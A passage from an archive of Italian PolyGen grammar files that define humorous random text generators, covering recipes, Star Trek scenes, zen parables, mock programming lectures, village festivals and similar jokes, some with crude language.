] da >( servir >( ^si | ^e ) | offrir>( ^si | ^e ) ) >( a temperatura ambiente | [ decisamente ] ghiacciato | fresc >( ^o | ^hissimo ) | previa ( decantazione | ossigenazione ) | in >( calici | flut | bicchieri ampi )) ^"." ; Ingrediente ::= caciotte | pizzichi di sale | rape | cipollotti | fettine di salmone affumicato | cosciotti di lepre | pate' de foie gras [ ^", meglio se di" ( anatra | oca | scrofa | bufala | anguilla | cammella ) ( _ | ungherese | finlandese | del kurdistan | malese | frollata | allevata biologicamente | "del corno d'Africa" )] | mozzarelle [ di bufala | vaccine | inacidite | piccanti | sciolte ] | unita' di panna acida | prese di pepe | melanzane | peperoni | peperoncini di cayenna | foglie di >( lattuga | salvia | vite | catalogna | indivia [belga] ) | aragoste | costine | ali di pollo | porri | maccheroni | spaghetti | trenette | spicchi >( d'aglio | di mela | di mandarino) | cipolle | salsicc >( ^e | ^iotti ) | acciughe | zollette di zucchero | fettine di mela | avocados | filetti >( di cernia | di trota | di manzo | di coniglio | di merluzzo ) | zucchine | barbabietole | dosi di panna montata | molliche di pane | cubetti di lievito | mazzancolle | castagne | marrons glaces | anatre | testine di ( capretto | vitellino | agnello | puledro ) | animelle | fave | ciccioli | fette di ( salam >( ^e | ^ino )) [ ungherese | felino | milano | campagnolo | piccante ] | prosciutto [ crudo | cotto | di parma | "San Daniele" | "Serrano di Catalogna" ] | misure di glassa | tuorli d'uovo | prese di farina [ di mais | di grano saraceno | di farro | integrale | o di maizena | o di fecola di patate | di castagne ] | pomodori [secchi] | pinoli | cacio >( ^cavalli | ^tt >( ^e | ^ine ) ) | sottilette | canditi | scorze ( d'arancia | di limone ) | mandorle [ pelate | tostate | salate | glassate ] | petali di >( rosa | violetta | nontiscordardime ) | carciofi [ ^ni ] | cetrioli [ ^ni [ sottaceto ] ] | mais | favi con miele | lampascioni | manciate di prezzemolo | rametti di rosmarino | cime di rapa | uvetta sultanina | fettine di >( mango | manzo | trota salmonata | pan di spagna | vitello ) | cacciatorini | fagiani | dosi di succo di pomodoro | misure di salsa >( di pomodoro | di soia | verde ) | dosi di brodo >( vegetale | di pesce ) | manciate di caviale | tartufi | tofu | tomini | capperi | paste frolle | vol au vent | uova >( _ | di quaglia | di lompo | di struzzo ) | broccol >( ^i | ^etti) | topinambour | dosi di zenzero | gamberetti | seppi >( ^oline | ^e) | polp >( ^i | ^etti) | gambi di sedano | finocchi [^etti] | piselli [^ni] | fagioli [^ni] | fiori di zucca ; polygen-1.0.6.ds2/grm/ita/sttng.grm0000644000175000017500000002240610340417034016412 0ustar enricoenricoI ::= "title: Star Trek : The Next Generation\n" ^ "author: Mistobaan <mistobaan_thecool@hotmail.com>\n" ^ "language: italian\n" ^ "status: beta\n" ^ "topic: fantascienza\n" ^ "audience: tutti i trekkies dell'universo\n" ^ "disclaim: spazio : ultima frontiera, questi sono i viaggi\n" ^ " dela nave stelare Enterprise, la sua missione e' di\n" ^ " esplorare strani, nuovi mondi, alla ricerca di\n" ^ " nuove forme di vita e di nuove civilta', per arrivare la'\n" ^ " dove nessuno e' mai giunto prima!" ^ "\n" ^ "created: 02/12/2004" ; S ::= SCENA STDATE INTRO PARLA SEGNO.PUC PARLA SEGNO.PUC PARLA SEGNO.PUC PARLA SEGNO.PUC PARLA SEGNO.PUC PARLA [SEGNO.PUC PARLA] [SEGNO.PUC PARLA] [SEGNO.PUC PARLA]; SCENA ::= ( ( \astronave ( "Enterprise-D" | "Enterprise-E" ) "-" \SEZIONE ) | \pianeta PLANET | STBASE ) "\n\n"^; SEZIONE ::= in ( plancia | infermeria | sala motori | sala teletrasporti ) | nella sezione ingegneria | negli alloggi ufficiali | nel bar di prora | sul ponte; STDATE ::= ( \data stellare NR^NR^NR^NR^NR^"."^NR "\n\n"^); INTRO ::= (\siamo [appena] arrivati | \siamo diretti | \siamo intrappolati | \una questione urgente ci sta trattenendo) (nel sistema stellare di ( ZORG | PLANET ) | sul pianeta ( ZORG | PLANET ) | nei pressi ( di ZORG | del sistema stellare di ZORG | di PLANET)) (( SEGNO.V dove faremo ( rifornimento | rendezvous con i ALIENI | un comizio | un simposio | una conferenza | --una pagliacciata ) SEGNO.V) | (per ( una ricognizione | una missione diplomatica | una mediazione | una missione di esplorazione | fornire supporto (ai ALIENI | al gruppo \terraforming | alla flotta )) SEGNO.V)) ( dopodiche' | dopoche' | subito dopo ) faremo rotta verso ( il pianeta ( ZORG | PLANET ) | la base stellare CIFRA | l'avamposto federale CIFRA) SEGNO.PU3 ^"\n\n"^; ZORG ::= ( \k | \j | \s | \r | \f | \z )^( a | o | e | i | u )^( q | r | s | p | l | t | b | m | n | c | x | z )^( w | g | r | m | n | b | f | l | p ); PLANET ::= \ >>(helder | qo'nos | kessok | ferenginar | vulcano | orione | andoria | romulus | remus | terra | bolarus | cardassia primo | talos \i^\v | rokel | rigel | haven )<<; STBASE ::= ( (\base stellare | \avamposto federale) CIFRA ) ; CIFRA ::= NR [^ CIFRA] ; NR ::= 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ; PARLA ::= +++PICARD | +++DATA | ++WORF | +LAFORGE | +TROI | +RIKER | ++WESLEY | +EFFECT; PICARD ::= "PICARD : "(\aprite il fuoco SEGNO.PE | -"FUOCOOOOOO!"| \[oh SEGNO.V no SEGNO.PE] siamo stati colpiti SEGNO.PE | ORDINE.PI SEGNO.V come possiamo fare per BABBLE WHAT SEGNO.PI | ORDINE.PI SEGNO.V trovi un modo per BABBLE WHAT SEGNO.PE | \qui parla il capitano \picard ( (dell'astronave \enterprise | della "U.S.S. Enterprise") [SEGNO.PU3 \siamo in missione ( +di esplorazione | segreta | diplomatica | +scientifica | +punitiva | ricognitiva | per conto dei ALIENI) [SEGNO.PU3 ALIENS SEGNO.V rispondete]] SEGNO.PU3) | ORDINE.PI SEGNO.V ha qualche idea SEGNO.PI | \sullo schermo [SEGNO.V ORDINE.PI] SEGNO.PU3 | \non vedo segni di vita intelligente sul ponte SEGNO.PU3^SEGNO.PU3^SEGNO.PU3 | \picard a \enterprise SEGNO.PU3 \ci porti su SEGNO.V "O'Brien" SEGNO.PU3 | \worf SEGNO.PE \la smetta di picchiettarmi sulla pelata SEGNO.PE | \non lascero' mai l'\enterprise ai ALIENI SEGNO.PE | \allarme rosso SEGNO.PE | ALIENS SEGNO.V abbassate gli scudi SEGNO.PE | \evidentemente il comandante \data ( ha ragione | +e' impazzito) SEGNO.PU3 | \staccate il comandante \data da quel magnete SEGNO.PU3^SEGNO.PU3^SEGNO.PU3 ); DATA ::= "DATA : " ( -\elementare SEGNO.V ORDINE.DA SEGNO.PE | -\non capisco SEGNO.PU3^SEGNO.PU3^SEGNO.PU3 | \interessante ( SEGNO.PU3^SEGNO.PU3^SEGNO.PU3 | SEGNO.V ) ( sembra che AZDATA | +il comportamento umano e' ( strano | sorprendente | +fonte di EMOZIONE | curioso | affascinante | misterioso )) SEGNO.PU3^SEGNO.PU3^SEGNO.PU3 | -CAPDATA | --\a questa velocita' ci metteremo NR^NR ore SEGNO.V NR^NR minuti e NR^NR^SEGNO.PU3^SEGNO.PU3^SEGNO.PU3 "\nPICARD : Silenzio, Data!" | +\ho appena ( ---rotto | ++( [dis^] (azionato | accordato | attivato | allineato | surriscaldato ))) WHAT SEGNO.PE | "I'M SIIIINGING IN THE RAAAAIN! JUST SIIIINGING IN THE RAAAAIN!" | "ARE YOU LONESOME TONIIIIGHT? DO YOU MISS ME TONIIIIGHT?" ); AZDATA ::= ([non] si possa BABBLE WHAT); CAPDATA ::= \ho capito SEGNO.V (OGGDATA1 SEGNO.V OGGDATA1 SEGNO.V OGGDATA1 SEGNO.V OGGDATA1 SEGNO.PE SEGNO.PUC | OGGDATA2 SEGNO.V OGGDATA2 SEGNO.V OGGDATA2 SEGNO.V OGGDATA2 SEGNO.PE SEGNO.PUC | OGGDATA3 SEGNO.V OGGDATA3 SEGNO.V OGGDATA3 SEGNO.V OGGDATA3 SEGNO.PE SEGNO.PUC ) "PICARD : Silenzio, Data!"; OGGDATA1 ::= ( un gioco ["di parole"] | uno scherzo | una battuta | una frase comica | ahahahaha ); OGGDATA2 ::= ( entrare di soppiatto | origliare | curiosare | ficcanasare | spiare ); OGGDATA3 ::= ( un sinonimo | un modo di dire | una frase colloquiale | un gergo ); WORF ::= "WORF : "((ORDINE.WO SEGNO.V (( scudi al NR^NR per cento SEGNO.PE) |i ALIENI ( hanno (( fatto | aperto il ) fuoco ) | hanno abbassato ( gli scudi | le armi)) SEGNO.PE)) | ( (\siluri ( quantici | fotonici) | \phaser ) armati SEGNO.PE )); LAFORGE ::= "LAFORGE : "(ORDINE.LA SEGNO.V non so quanto potra' durare cosi' SEGNO.PE | ORDINE.LA SEGNO.V non credo di poterla potenziare piu' di cosi' SEGNO.PE | ORDINE.LA SEGNO.V non credo di poter ridirezionare piu' energia verso WHAT SEGNO.PE | \[ORDINE.LA SEGNO.V] ho bisogno di piu' energia SEGNO.PE | +\abbiamo avuto un guasto SEZIONE SEGNO.PE | \abbiamo perso WHAT SEGNO.PE | \integrita' al NR^NR per cento SEGNO.PE); TROI ::= "TROI : " ( \sento ( EMOZIONE SEGNO.PU3^SEGNO.PU3^SEGNO.PU3 | che stanno mentendo SEGNO.PE ) | ---"Ti amo, mio caro Imzadi!" | \dov'e' il mio [[stra^] maledett ( ^o | ^issimo)] cioccolato SEGNO.PI ); EMOZIONE ::= [ tanta ] ( freschezza | omerta' | felicita' | tristezza | obesita' | golosita' | impulsivita' | esplosivita') | [tanto] ( odio | astio | rancore | ++dolore | risentimento | amore | affetto | --dilithium | --cioccolato ); WESLEY ::= "WESLEY : " (\rotta per il pianeta PLANET inserita SEGNO.PE | \velocita' warp NR^"."^NR inserita SEGNO.PE | \avanti a ( un quarto di | meta' | pieno | tre quarti di) impulso | \i ALIENI ci stannno contattando SEGNO.PE | \frequenze di chiamata aperte SEGNO.PU3 | ( \capitano | \comandante ) SEGNO.V siamo in rotta di collisione [con i ALIENI ]SEGNO.PE); RIKER ::= "RIKER : " ( \squadra di ricognizione SEGNO.V prepararsi al teletrasporto SEGNO.PE | ( \geordi | \data | \wesley ) SEGNO.V potresti BABBLE WHAT SEGNO.PI | \signor \worf SEGNO.V fuoco SEGNO.PE | \computer SEGNO.V BABBLE WHAT SEGNO.PU3 | \capitano SEGNO.V cosi' perderemmo l' ^\enterprise SEGNO.PE | \ne e' sicuro SEGNO.V capitano SEGNO.PI | \la situazione e' piu' ( teribile | orrenda | grave | inutile | -impazzita ) di quanto pensassimo SEGNO.PU3^SEGNO.PU3^SEGNO.PU3 | \mi sembri piu' ( eccitata | arrapata | ingrifata | vogliosa | cioccolosa ) del solito [stasera] SEGNO.V ( \deanna | amore | tesoro ) SEGNO.PU3^SEGNO.PU3^SEGNO.PU3); EOL := ^"\n"^\ ; SEGNO ::= ( PUC: ^"\n"^\ | PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":"\ | PU3: ^"."\ | V: ^"," | VT: ^"\""\ | PI: ^"?"\ | PE: ^"!"\ ); BABBLE ::= [de^|dis^][ri^](transmogrifare | crittografare | materializzare | teletrasportare | allineare | accordare | frequenziare | galvanizzare ); ORDINE ::= (PI:(\guardiamarina \crusher | \tenente \worf | \consigliere \troi | ---\guinan | \tenente \laforge| \numero \uno | \comandante \data) | DA:(\capitano | \comandante | \consigliere | \wesley | \signor \worf | \geordi ) | WO:(\capitano | \signore | \comandante | \signor \data | +"Qapla'!..." | \tenente ) | LA:(\capitano \picard | \tenente | \dottoressa | \wesley | \comandante ( \data | \riker ) | \consigliere) ); ALIENS ::= (\nave | \fregata | \stazione) ( \klingon | \ferengi | \cardassiana | \romulana | "Jem' Hadar" ); ALIENI ::= ( \ferengi | \romulani | \klingon | \kessok | \borg | \pirati di orione | \romulani | \remani | \cardassiani | \necron); WHAT ::= i condotti di jeffreys | i deflettori | le gondole a curvatura |il nucleo a curvatura | il generatore materia^"-"^antimateria | il sensore principale | il ponte ologrammi | gli smorzatori inerziali | i sistemi di supporto vitale | il generatore di gravita' | il computer di bordo| i[^"l generatore "^] phaser | i collettori \bussard | il portasiluri ( protonici | fotonici | quantici ); EFFECT ::= "[BZZZZZZOT!]" | "[KA-BLAAAAAM!]" | "[FHTU-FHTU-FHTUM!]" | "[BZZZZzzzz...zzzZZZZ!]" | "[WOOOoooo...]" | "[SFRRRRRZZZZOT!]" |"[EEEEK! EEEEK! EEEEK!]"; polygen-1.0.6.ds2/grm/ita/tormentoni.grm0000644000175000017500000000517210340417034017452 0ustar enricoenrico I ::= "title: Tormentoni sereni\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: final\n" ^ "topic: misc\n" ^ "audience: Sergio e quant'altri lo conoscono\n" ^ "created: 20/07/2002" ; S ::= \( e' tanto Complimento | ma ( (esistono | ci sono) SostantivoP | (esiste | c'e') SostantivoS ) Luogo ^"?" ) ; Complimento ::= intelligente | ordinata | di bell'aspetto | furba | sveglia | bella | buona | brava | simpatica | ben pettinata | atletica | alta | magra | interessante | [ben] educata | fragile | di compagnia | di buona famiglia | di classe | sensibile | emozionata | ben vestita | cara | diligente | femminile | interessata | sana | seria | dolce | fine | raffinata | premurosa | di chiesa | fiduciosa | fedele | lavoratora | laboriosa | impegnata | per bene | matura | [ben] organizzata | indaffarata | occupata | studiosa | ligia | ricca | affezionata | affettuosa | prodiga | silenziosa | loquace | umile | modesta | sincera | protettiva | pulita | profumata | di casa | santa | di bei lineamenti | calma | tranquilla | gentile | signorile | adulta | fortunata | riservata | caritatevole | esperta | condizionabile | forte | famosa | servizievole | intonata | misteriosa | sfarzosa | paziente | di cappello ; SostantivoP ::= le >( macchine | uova | biciclette | ragnatele | parrocchie | spadrilias | tende | mandorle | lucertole | lentiggini | matite | calcolatrici | scuole | universita' | banche | ragazze | donne | scarpe | malattie | bacche ) | i >( dentisti | macinini | saponi | bambini | quaderni | telefoni | buoi | campi | televisori | preti | furbi | cuochi | forni | banchi | passaggi a livello | fiumi | fidanzati | gatti | suoni ) | gli >(uccelli | zaini | avvocati | uomini | aerei) ; SostantivoS ::= lo >(sport | sterzo | spazio | sfarzo | spettacolo) | la >(pasqua | terra | mancia | pipi' | popo' | luce) | l'^ >( immondizia | elettricita' | acqua | ulcera | aria | uomo | infarto | elio | uva | erba ) | il >(circo | mare | natale | capodanno | fuoco | cielo) ; Luogo ::= in "America" | negli "Stati Uniti" | a "Los Angeles" | a "Irvine" | in "California" ; polygen-1.0.6.ds2/grm/ita/oop.grm0000644000175000017500000001010410340417034016040 0ustar enricoenricoI ::= "title: Lezioni di Object-oriented Programming\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "dedication: dedicato amichevolmente al Prof. G. B.\n" ^ "comment: tipica lezione di linguaggi di programmazione a oggetti, con i soliti stereotipi e i nomi disneyani\n" ^ "warning: io odio walt disney\n" ^ "thanks: si ringraziano Genuflesso ed il Generale per gli spunti discorsivi\n" ^ "created: 28/5/2004" ; S::= \FACCIAMO CLASSE (DISNEY |MICROSOFT) SEGNO.PU3 ( X::= GUARDATE SEGNO.(PU3|PU2) CPV SEGNO.V CASO [PROBLEM]; \X (++(\(ora | adesso) X) [\(ora | adesso)X] )); CASO ::= ( PROP NOME e' VISIBILITA SEGNO.PU3 | la classe DISNEY,MICROSOFT eredita da MICROSOFT,DISNEY SEGNO.PU3 ) WHY RISPNEG [ SEGNO.PU2 SCUSE] SEGNO.PU3; FACCIAMO ::= apriamo | esaminiamo | sulla slide possiamo vedere ; GUARDATE ::= ( guardate | fate attenzione | state attenti ) [perche' e' importante] ; CPV ::= come potete vedere | se osservate bene | se siete ancora svegli; CLASSE ::= la classe | il diagramma "UML" della classe | la struttura della classe | le proprieta' della classe; DISNEY ::= \( [super^\]pippo | pluto | paperin^(o|a) | gastone | topolino | "nonnaPapera" | gastone | paperoga | "zioPaperone" | ciccio | brigitta | minni | orazio | clarabella | qu^(o|i|a) | archimede[^\pitagorico] | rockerduck | [banda^\]bassotti | basettoni | "gambaDiLegno" | "filoSganga" | paperinik | "etaBeta" | "paperBat" | manetta | "indianaPipps" | "picoDePaperis" | "nonnoBassotto" | "gancioIlDritto" | "macchiaNera" | plottygatt | "paperettaYeYe" | ci^[o]^p | spennacchiotto | zapotec | marlin ); MICROSOFT ::= \(system)SEGNO.PU3^ ( X::=MSNAME SEGNO.PU3^; ( ++X [X]|_)^MSNAME ); MSNAME ::= \collections | \xml | \reflection | \windows | \assembly | \paint | \helder ; SEGNO ::= (PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":" | PU3: ^"."\ | PUE: ^"!"\ | V: ^"," | VT: ^"\""\ | PUI: ^"?"\ ); PROP ::= la proprieta' | l'attributo | il campo | il metodo | l'evento | il delegato ; NOME ::= [ (\on | \do | \is )^ ] ( \write | \containing | \has | \new | \move | \push | \pop | \enqueue | \dequeue | \start) ^ (\element | \member | \attribute | \field) ; VISIBILITA ::= public | private | protected | virtual | in override | readonly ; WHY ::= perche' [[SEGNO.V] questo] SEGNO.PUI | c'e' una ragione particolare [per questo] SEGNO.PUI | in effetti potremmo chiederci la ragione di quest'apparente complicazione SEGNO.PU2 ; RISPNEG ::= (sinceramente non ne ho la piu' pallida idea | dipende | e' una semplice convenzione | purtroppo non ho capito perche' sia stato implementato cosi' in questa versione | eh SEGNO.V non e' facile ) [-- SEGNO.V ma RISPPOS ]; RISPPOS ::= ( e' irrilevante | e' soltanto zucchero sintattico | niente di piu' facile SEGNO.V SOLUTION | la risposta giusta e' ""SEGNO.VT^\dipende SEGNO.VT | >SOLUTION ) ; SCUSE ::= ( del resto lo sviluppatore non sono io SEGNO.V non so cos'aveva in mente chi l'ha fatto | fateci una dormitina sopra e vedrete che la mattina avrete risolto | hanno gia' detto che alla prossima versione questo problema sara' eliminato | (provateci voi | voglio poi vedervi) a (fare una cosa del genere | farlo) senza l'ausilio di un TRICK ) [SEGNO.PU3 personalmente SEGNO.V io (ci avrei messo | avrei usato | avrei introdotto) una classe chiamata MICROSOFT^SEGNO.PU3^DISNEY ]; PROBLEM ::= [e (dunque | allora) ] (come faremo a | come fare per) ( ereditare | catturare | enumerare | stampare | elaborare | salvare su "XML" ) PROP SEGNO.PUI RISPPOS [ SEGNO.PU2 REST] [SEGNO.PU3 FINE] SEGNO.PU3; SOLUTION ::= > (e' (necessario | sufficiente) | basta )(fare un TRICK | premere il tasto cans^"\232"^l | spegnere e riaccendere ); TRICK ::= foreach | gettype | typeof | enum | get^\enumerator ; FINE ::= fine [della trasmissione] | tutto qui | stop | basta | proprio cosi' | nient'altro ; REST ::= al resto ci pensa (il compilatore | il garbacollettor | il framework | il "CLR" | il "CLS" | il "CLI") ; polygen-1.0.6.ds2/grm/ita/sagra.grm0000644000175000017500000000663010340417034016351 0ustar enricoenricoI ::= "title: Sagre di paese!\n" ^ "author: eCompratelo <info@ecompratelo.it>\n" ^ "language: italian\n" ^ "status: beta\n" ^ "topic: cultura\n" ^ "created: 10/27/2004" ; S ::= "..."^la NUMERO^"º" \FESTE PRODOTTI di COMUNI ; NUMERO ::= (1| 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20) ; FESTE ::= (sagra | maratona culinaria | festa | rassegna | abbuffata agonistica | commemorazione mangereccia | degustazione | battaglia | spartizione | adorazione | benedizione) ; PRODOTTI ::=("della Polenta Glassata" | "del Succo di Pancetta" | "dello Yogurt Grasso" | "dello Stufato d'asino" | "del Maiale tritato" | "della caldarrosta bruciata" | "del culatello arrossato" | "della trippa coi carciofi" | "del porco coi faggiuoli" | "dello stinco di gatto" | "del vino andato in aceto" | "del coniglio schiacciato sull'asfalto" | "delle rane impanate" | "della coscia di mosca" | "del succo di legno" | "delle cozze morte di vecchiaia" | "delle vongole stagionate" | "della maionese impazzita" | "dell'uovo marcio" | "della sogliola geneticamente modificata" | "del peperone clonato di fresco" | "del polpo claudicante" | "del polpettone marcescente" | "del brodo primordiale" | "delle interiora salmistrate" | "del pecorino novello" | "della rapa canterina" | "delle alborelle da guerra" | "delle pere mature" | "del calzone farcito" | "delle ascelle macerate" | "della mortazza" | "dell'orina di mulo" | "delle anguille allegre" | "della carie di lepre" | "del nero sotto le unghie dei maiali") ; COMUNI ::= ("SESTO"|"SETTIMO"|"QUARTO"|+++++_)(+++(["SAN"]("GUAZZ" | "CAR"[^"D"] | "BRUZZ" | "BOLL" | "VERG" | "CUL" | "CAL" | "MAZZ" | "TRAV" | "CRESCENZ" | "CAS"[^"S"] | "CUS" | "COS" | "SCREANZ" | "CASTELL" | "B" | "BRESC" )^("UGATE"|"ATE"|"ONE"|"INO"|"ANO"|"ALO"|"AMO"|"ELLO"|"AGO"|"ENNO"|"ETO"|"ETTO"|"ATO"|"USTO") | --"CAS"^("C"|"S")^("INA"|"INETTA")|-CAGATE)) [("DEL"|"SUL"|"DI"|"SU") CAGATE] [VARIANTI]^" ("^PROVINCIE^")" ; CAGATE ::=( "MEMBRO" | "TEVERE" | "GOBBO" | "CEPPO" | "MERLO" | "CHIURLO" | "VOLGA" | "VALLO"[^"NE"] | ("S"|"M"|"T"|"P"|"C"|"B")^"ASSO" | "TICINO" | "MINCIO" | "TARO" | "TANARO" | "PANARO" ) ; VARIANTI ::=( "DI SOPRA" | "DI SOTTO" | "MAGGIORE" | "MINORE" | "DAVANTI" | "DI DIETRO" | "GRANDE" | "MILANESE" | "TORINESE" | "FIORENTINO" | "LOMBARDO" | "NELL'EMILIA" | "CAMPANO" | "ARSIZIO" ) ; PROVINCIE ::= ( "LC" | "LE" | "AO" | "VR" | "MN" | "PV" | "RC" | "RE" | "BI" | "TP" | "VN" | "AT" | "PI" | "FG" | "IM" | "OR" | "CR" | "MT" | "RM" | "FE" | "PT" | "PO" | "AV" | "CN" | "IS" | "MO" | "BZ" | "RG" | "SS" | "BA" | "RN" | "VC" | "VE" | "MI" | "SP" | "GO" | "BR" | "EN" | "TE" | "FR" | "AP" | "PA" | "AL" | "PZ" | "GR" | "CE" | "CH" | "CS" | "VB" | "TS" | "BO" | "RI" | "UD" | "SA" | "CA" | "LI" | "TO" | "PS" | "KR" | "FO" | "LU" | "PE" | "PC" | "AG" | "BS" | "CZ" | "PG" | "SI" | "VA" | "TR" | "BN" | "RO" | "AQ" | "NO" | "CB" | "FI" | "CL" | "GE" | "TN" | "SV" | "SO" | "CO" | "TA" | "MS" | "ME" | "VI" | "PN" | "BG" | "MC" | "PR" | "CT" | "BL" | "LT" | "PD" | "NU" | "SR" | "AR" | "RA" | "NA" | "LO" | "AN" | "VT" | "TV");polygen-1.0.6.ds2/grm/ita/filippi.grm0000644000175000017500000000121310340417034016700 0ustar enricoenrico I ::= "title: Filippo Filippi\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: final\n" ^ "topic: misc\n" ^ "audience: Paolo, Mario, Giacomo e quelli che conosco" Filippo.o "\n" ^ "disclaim: non ce ne voglia il" (buon | bravo | bel | gentil | giovin) Filippo.o ^"\n" ^ "created: 6/12/2002" ; S ::= Filippo.o Filippo.i ; Filippo ::= "F" ^ (a |-- e |+ i |- o |-- u) ^ (++ l (^l |++ _) | p (^p |++ _) | c | b (^b |++ _) |- gn) ^ (- a |-- e |-- i | o | u) ^ (+ pp |++ cc[^h] |++ ff |- vv | tt | ll |- nz |- gn | bb) ^ (o: [i^]o | i: i) ; polygen-1.0.6.ds2/grm/ita/zen.grm0000644000175000017500000000610410340417034016044 0ustar enricoenricoI ::= "title: Storie Zen\n" ^ "author: Simone Lei <simleo@tiscali.it>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "created: 10/12/2004"; S ::= \Introduzione e (gli chiese | "lo pregò") Domanda ^ ".
    \n" ^ \(il maestro | Maestro) Risposta ^ ".
    " \Ritorno; Introduzione ::= When Allievo Goto Maestro; When ::= >(un giorno | un mattino | un pomeriggio | una sera) [Stagione] | una volta; Stagione ::= d'inverno | di primavera | d'estate | d'autunno; Allievo ::= [Qualifica] NomeAllievo; Qualifica ::= il >([grande] guerriero | [famoso] poeta | [giovane] monaco); NomeAllievo := \ >(daiju | dairyo | ekido | encho | engaku | gessen | "hui-k'o" | kitagaki | "kuei-shan" | mamiya | nobushige | "o-nami" | "p'an-shan" | shinkan | suiwo | tetsugen | toyo); Goto ::= "andò da" | "si recò presso" | fece visita a | "si presentò al cospetto di"; Maestro := \ >(bankei | "chao-chou" | hakuin | hakuju | hogen | hoshin | gudo | mokurai | mokusen | "nan-ch'uan" | "nan-in" | "pai-chang" | ryokan | "seng-ts'an" | tanzan | tokufu | "tung-shan" | yazawa); Domanda ::= di (mostrargli | indicargli | insegnargli) (la Path.f | il Path.m) "più" (breve | celere | facile) per (raggiungere | ottenere | conseguire) (l'illuminazione | il \satori | la saggezza); Path ::= f: (via | strada) | m: (percorso | cammino | sentiero); Risposta ::= "indicò" >(un ZenObject.M | una ZenObject.F) [Materiale] e disse ^ ":" Richiesta; ZenObject ::= M: ([Agg.m] Sost.m) | F: ([Agg.f] Sost.f); Sost ::= m: (bastone | candelabro | cucchiaio | osso | piatto | pugnale) | f: (bacchetta | ciotola | gabbia | giara | maschera | pergamena | statua | veste | zappa); Agg ::= >(piccol | minuscol | gross | consunt | prezios | gigantesc) ^ (m: o | f: a) | grande; Materiale ::= di ("bambù" | cartone | ferro | gesso | legno | platino) | d' ^ (alabastro | ambra | argento | ebano | oro); Richiesta ::= "\"" ^ \se [(veramente | davvero)] >(vuoi | desideri | (ambisci | aspiri) a) (diventare | divenire) (saggio | illuminato) devi riuscire a (vedere | penetrare | comprendere) la {natura} ^ "-" ^ {buddha} di (tutte le cose | ogni cosa) ^ ":" prendi ({con te} {quell'oggetto}) e Meditation.first ^ "\""; Meditation ::= medita per (first: _ | subsequent: altri) >(due | tre | quattro | --dieci) anni ^ "," poi torna da me; Ritorno ::= "\n" ^ \quando (il giovane >(allievo | apprendista) | NomeAllievo) (fece ritorno | "tornò") ^ "," (il maestro | Maestro) [gli] disse ^ ": \"" ^ (\non sei ancora pronto ^ ":" Meditation.subsequent ^ "\".
    " ^ Ritorno | ThreeZenWords ^ "\"," e a quelle parole NomeAllievo fu illuminato ^ "!"); ThreeZenWords ::= \FirstZenWord ^ "," \SecondZenWord ^ "," \ThirdZenWord ^ "!"; FirstZenWord ::= katana | nozomi | nunchaku | sashimi | seppuku | tatami | tempura | tsunami | wasabi; SecondZenWord ::= hanako | kabuto | mishima | shinobu | suzuki | yoshida; ThirdZenWord ::= boutique | champagne | chanson | chiffon | coiffeur | jalisse | jambon | jeunesse | melange | vitesse; polygen-1.0.6.ds2/grm/ita/governatore.grm0000644000175000017500000000340710340417034017606 0ustar enricoenricoI ::= "title: Omaggi al Governatore delle Banca d'Italia\n" ^ "author: Cima <lordcima@gmail.com.it>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "note: l'originale si trova qui\n" ^ "created: 28/07/2005" ; S ::= "Ah..." Governatore^"," io sono Aggettivo^"," con Malattia^"." \ Verbo1^"..." ti darei un Complementoggetto in questo Tempo^"," sul Partedelcorpo ma non posso farlo^"..." \ so quanto Verbodolore^"," credimi^"..." Verbo3 Mezzoditrasporto e Verbo4 da te in questo momento se Verbo5^"..." ; Governatore ::= "Tonino" | "Antonio" | "Anto'" | "Toto'" | "Ciccio" | "Pruvulo'" ; Aggettivo ::= commosso | estasiato | esilarato | ai tuoi piedi | contrito | deliziato | squagliato ; Malattia ::= la pelle d'oca | la pellagra | un calo del desiderio | un erezione | la lingua dolente | i brividi blu ; Verbo1 ::= guarda | vedi | tocca | ascolta | senti ; Complementoggetto ::= bacio | ganascino | ^o sputo | ^o sganassone | ^a maniata | ^a slinguazzata | toccatina ; Tempo ::= momento | istante | attimo | frangente ; Partedelcorpo ::= ^la fronte | ^la guancia | ^la pacca | coggige | metatarso | buchino del culo | capezzolo | prepuzio ; Verbodolore ::= hai sofferto | mi hai aiutato | ti sei dedicato | hai goduto | hai tramestato ; Verbo3 ::= "Prenderei" | "Monterei su" ; Mezzoditrasporto ::= l'aereo | un mulo | la barca | la slitta | l'elicottero ; Verbo4 ::= verrei | correrei in ginocchio | salterei | monterei | mi spoglierei ; Verbo5 ::= potessi | ce la facessi| non fossi pedinato | non fossimo spiati ; polygen-1.0.6.ds2/grm/ita/ristoranticinesi.grm0000644000175000017500000000137010340417034020641 0ustar enricoenricoI ::= "title: Ristoranti Cinesi\n" ^ "author: Lalaura <laura@micionline.com>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 30/06/2004" ; S ::= Inizio Fine ; Inizio ::= "Il Drago" | "Il Giardino" | "La Porta" | "Il Panda" | "La Cina" | "Il Drago" | "La Primavera" | "La Muraglia" | "La Pagoda" | "Il Mandarino" | "Il Bambu'" | "La Fortuna" | "Il Loto" | "La Prosperita'" | "L'Impero" ; Fine ::= "di Pechino" | "Pechinese" | "di Shangai" | "di Chang" | "D'Oro" | "di Giada" | "della Fortuna" | "di Primavera" | "di Bambu'" | "Cinese" | "Della Felicita'" | "di Loto"| "D'Oriente" | "Italo Cinese" | "del Buddha" | "Imperiale" ; polygen-1.0.6.ds2/grm/ita/diz.grm0000644000175000017500000001103210340417034016032 0ustar enricoenricoI ::= "title: Il Novissimo Grazia\n" ^ "author: (grm) CUG <cug@telcanet.it> - (pdf generator) CUG, Zeff - (pdf cover) MatG <matg@inwind.it>\n" ^ "language: italian\n" ^ "status: embryonic\n" ^ "topic: very very culture\n" ^ "comment: lemmi del vocabolario del nuovo millennio\n" ^ "warning: non 